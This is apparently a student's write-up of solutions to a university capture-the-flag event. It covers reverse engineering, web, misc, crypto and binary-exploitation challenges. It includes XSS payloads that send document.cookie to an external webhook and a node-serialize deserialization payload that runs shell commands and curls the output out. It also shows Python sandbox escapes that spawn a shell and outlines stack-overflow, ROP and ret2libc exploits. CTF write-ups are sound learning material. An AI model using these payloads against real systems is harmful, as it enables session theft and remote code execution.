0x0 Introudction
Maple CTF, which is first CTF event hold by Maple Bacon Team. Because it is the first CTF MapleBacon organzie a CTF event. This event is only open for current university students.
Since most of senior team member and main team member didn't participate CTF (because they are in charge of design problems), I was able to get a very good position when ctf ends.
Since I only knows about pwn, for other category question, I basically OSINT, just search google for similar question and look its writeup.
But I actually learned a lot during the event. AND
I get 2nd in individual and 3rd in team. Yeah!!!!!!!!!!!!!!!!!!
0x1 problems I solved
some challenge are pretty simple and straight forward, so I will only do simple write up.
But some question is very interesting, i highly recommend to take look at these challenge: pyjail, uwu-intewpwetew, birbs, pwintf, and most of the crypto question
rev
- plain
- Keys
web - Doot Doot
- Color Me
- Poem Me
- Super Cereal
misc - CTF Adventure Land 1
- Cutoff
- What Is A Word
- Pyjail 1 & 2 & 3
- Hijacked!
crypto - Factor Me
- Too Large to Factor
- Copilot-my-savior
- Blindfolded
- Bit by Bit
- Cut and paste
- One two three
- Propagation
pwn - memowy cowwuption
- wetuwn addwess
- wetuwn owiented pwogwamming
- wetuwn to wibc
- uwu intewpwetew
- birbs
- baby pwintf
- pwintf
0x2 Reverse
I didn't do much question in reverse because I'm too lazy to look at disassemble code, i just do some pretty straight forward question
plain
the challenge provide an binary called plain
pretty straight forward, the flag is encoded in the binary. Using disassemble to check the code or just strings plain
to get the flag
1 | (pyenv) aynakeya@LAPTOP-T6NBK8L5:~/ctf/maplectf2022/plain$ strings plain |
flag: maple{binaries_are_not_secret}
keys
check the binary with a decompiler, you will found that it takes the user input and XOR with a 4 byte array. It takes the xor result and compare with a bigger array. If all the bytes are same, it is the flag we want to know.
So, since X ^ b ^ b == X, we just xor to get the flag.
here is the solution
1 | import string |
flag: maple{th3_KEY_IS_H4RDC0D3d_1n_THE_B1n4ry}
0x3 web
most of web I solved is related to XSS. This is the actually the first time I got an opportunity solve challenges related to XSS.
Doot Doot
server.py
1 | @app.route('/oot') |
so, just go to /oot?oot=../flag to get the flag
flag: maple{Pingu_s4yz_N00t_No0T}
Color Me
pretty straight forward question, it allow you to load arbitray html code into the page. And admin will visit the page.
XSS scripts
1 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script><script>$.get("https://webhook.site/7b7b96e8-2831-41da-8997-b7c55b4f75ca?"+document.cookie);</script> |
flag: maple{0ops_i_f0rgot_about_xss}
Poem Me
similar to color me, the main difference is it filter out <script>
and </script>
the solution is also simple, replace <script>
with <script nounce="a">
, </script>
with </script/>
1 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script/><script a>$.get("https://webhook.site/7b7b96e8-2831-41da-8997-b7c55b4f75ca?"%2Bdocument.cookie);</script/> |
flag: maple{why_m4ke_ur_0wn_5anitizers_wh3n_D0mpur1fy_ex1sts}
Super Cereal
the main exploits here is it use unserialize
server.js
1 | // get secret |
unserialize allow us to execute arbitray javascript code in Node.
So, use this payload and encode it into base64. send this payload to /secret. We will get the flag.
1 | {"cereal":"_$$ND_FUNC$$_function (){var ff=\"ggg\";require(\"child_process\").exec(\"cat flag.txt\",function puts(error, stdout, stderr) {require(\"child_process\").exec(\"curl https://webhook.site/7b7b96e8-2831-41da-8997-b7c55b4f75ca?flag=\"+stdout+stderr)});return ff;}()"} |
flag: maple{0H_w41t_you_meant_ser1al_not_cer3al?}
0x4 Misc
misc question didn't have much too say, it involve lots of guess work.
CTF Adventure Land 1
there is a png called map.png, use red plane to review the flag
flag: maple{w3lc0m3_70_m4pl3_b4c0n_4dv3n7ur3_l4nd}
Cutoff
this question is also simple, given a image with height 1267, but the actually height is 1400. So, edit PNG header, make the height back to 1400 to get the full flag.
flag: maple{very_l0NG_PnG}
What Is A Word
unzip the .docx file and get the flag in image2.png
flag: maple{a_w0rd_on3_z1p!}
Pyjail
Pyjail are actually a series similar challenge with different black list.
server.py
1 | def main(): |
There is three intended solution for each of the qeustion, however there is also unintended solution
Intended solution
Pyjail 1: __builtins__.__dict__['__import__']('os').__dict__['system']('ls')
Pyjail 2&3: print([l.strip() for l in open("f"+"lag.tx"+"t")])
Unintended solution
enter breakpoint()
, this will lead to you into a python console, then you can do what ever you want. For example, use import os;os.system("/bin/sh")
to spawn a shell.
flag
- maple{welc0m3_to_the_w0rlD_oF_cod3_j4ilz}
- maple{pyth0n_0n3_lInerz_UwU}
- maple{Did_u_kn0w_that_d0lph1ns_sl33p_with_one_eye_open}
Hijacked
the problem give you an wireshark.pcap
file. Load this file into wireshark. You will find 4 suspicious http request. 4 http request contains a list of three number.
1 | 49.26391,-123.21524,94.38 |
looks very like latitude and longtitude, so put all the number into an excel and draw the graph (and horizontal flip) to get the flag
flag: MapLE{misc_bacon_from_outer_space}
0x5 Crypto
honestly, I have no idea how crypto works before this ctf. This ctf kind of give me an expression about how crypto looks like.
Factor Me
a very typical RSA problem, use factordb to get p,q. And then decrypt the message
1 | # https://en.wikipedia.org/wiki/RSA_(cryptosystem) |
flag: maple{f@cTor!ng}
Too Large to Factor
according to goole, it is related to e = 3, but i don't how it works, so i just copy paste a script from internet and get the flag
1 | import gmpy2 |
flag: maple{d0n7_f0rg37_y0ur_p4dd1n9!}
Copilot my savior
the encryption is pretty simple, xor all the bytes with a key, which is one byte.
So for decryption, just iterate all the possible one byte (from 0 to 255).
1 | # Thanks copilot! |
flag: maple{c0P1L07_b37R4Y3D_m3}
Blindfolded
this is a quite interesting problem.
There is very important rule here
a % N + -a % N == N
so to get N, we can use (-1)^65537 = -1, therefore, N should be (-1 % N) + (1 % N), therefore, we can use -1 to get N from the server
and since the server only check for flag not -flag, we can let server to decrypt -flag for us
and the flag should be N + (-flag)
server.py
1 | from Crypto.Util.number import getPrime, bytes_to_long, inverse |
flag: maple{d0nt_f0rg37_t0_h@sh!!}
Cut and paste
looking at server.py. I realize, i need to construct a payload with admin:true
. But server ban admin, :, and ,.
But since the server encrypt data 1 block by 1 block. We can combine two different block together to get the correct payload
so first use user:AAAAAAAA,admin:false,passwd:true
and get last block which represent :true
Then, use user:AAAAA,admin:false,passwd:true
and get first block which represent user:AAAAA,admin
finally, combine those two block and send back to server, which should be the encryption of user:AAAAA,admin:true
. This satisfy the rule and give us the flag.
One two three
idk how to explain. please check out this tutorial
here is my solution
1 | lines = [] |
Propagation
similar to cut and paste server.py, but instead of encrypt message block by block using same key. it xor with the previous block before encryption. This is a technique called Block chaining
the main idea here is since it allow us to enter IV, we can make our own string AA:AA,admin:true
and xor it with it self, which result in \x00 * 16
.
once we send our payload to server, server will return the encryption, which is block[2] = encrypt("AA:AA,admin:true"^"AA:AA,admin:true"^block[1])
so, if we send encrypt("AA:AA,admin:true"^"AA:AA,admin:true"^block[1])
to the server with IV of "AA:AA,admin:true"^block[1]
.
The server will decrypt our payload by decrypt(encrypt("AA:AA,admin:true"^"AA:AA,admin:true"^block[1])) ^ "AA:AA,admin:true"^block[1]
which is "AA:AA,admin:true"^"AA:AA,admin:true"^block[1] ^ "AA:AA,admin:true"^block[1]
== "AA:AA,admin:true"
.
And therefore, we bypass the check.
here is my solution
1 | from pwn import * |
0x6 PWN
memowy cowwuption
the exploits is very straight forward, fgets() will cause an overflow. So we can just overwrite id.
1 | void vuln() { |
exp.py
1 | io = start() |
flag: maple{ovewwwiting_stack_vawiabwes}
wetuwn addwess
check binary, No PIE enabled. So just overwrite RIP to win to get the flag
1 | void win() { |
exp.py
1 | io = start() |
flag: maple{r3turn_t0_w1n}
wetuwn owiented pwogwamming
change vuln with corresponding rop chain
- ret - just want to ret
- A() - make uwu = true
- B() - make owo = true
- pop rdi,ret - put 0xdeadbeef into first parameter of the function
- 0xdeadbeef
- C() - call A(0xdeadbeef) to make rawrxd = true
- win() - get the flag
1 | char flag[FLAG_LEN]; |
my exp.py
1 | io = start() |
wetuwn to wibc
this is a very classic ret-2-libc question. If you want to see more about ret2libc, check out this oversight challenge
first, lets check mitigations. We can see all the protection has enabled. including canary.
1 | # Arch: amd64-64-little |
lets take look at the source code.
There is a very trivial bug here, is it didn't check for the upper bound. So, we can leak canary here.
Moreover, after getting the canary value, we can just use gets
to overwrite the whole stack.
Since we take control of the whole stack, we just write the canary using the canary value we get from previous step
1 | if (input >= 0 && input < sizeof uwus) { |
part of exp.py
1 | io = start() |
flag: maple{f1y_m3_t0_th3_m00n_4nd_l3t_m3_pl4y_am0ngu5}
uwu intewpwetew
a very fun problem. it implement a buggy interpreter of uwu language - uwu
all the mitigation protection has open as expected
1 | # Arch: amd64-64-little |
lets take look at some bugs, firstly, it check the upper bound, but not lower bound. We can see here the pointer is never gonna large than DATA_LEN
if it is negative.
This allow us to read the value above the stack variable
1 | case 'o': |
The second bug is it didn't check for out of bound when read and write value.
1 | case '@': |
So, lets combine those two bug. first, lets move the variable pointer to pointer's address (where pointer is on the stack) .
Then, use write pointer's value to RIP offset,
finally. read RIP address and write RIP address to function win. After execution finish, the binary will jump to win
and print out the flag
part of my exploit.py
1 | class uwu(): |
flag: maple{nyo_wespect_fow_boundawies}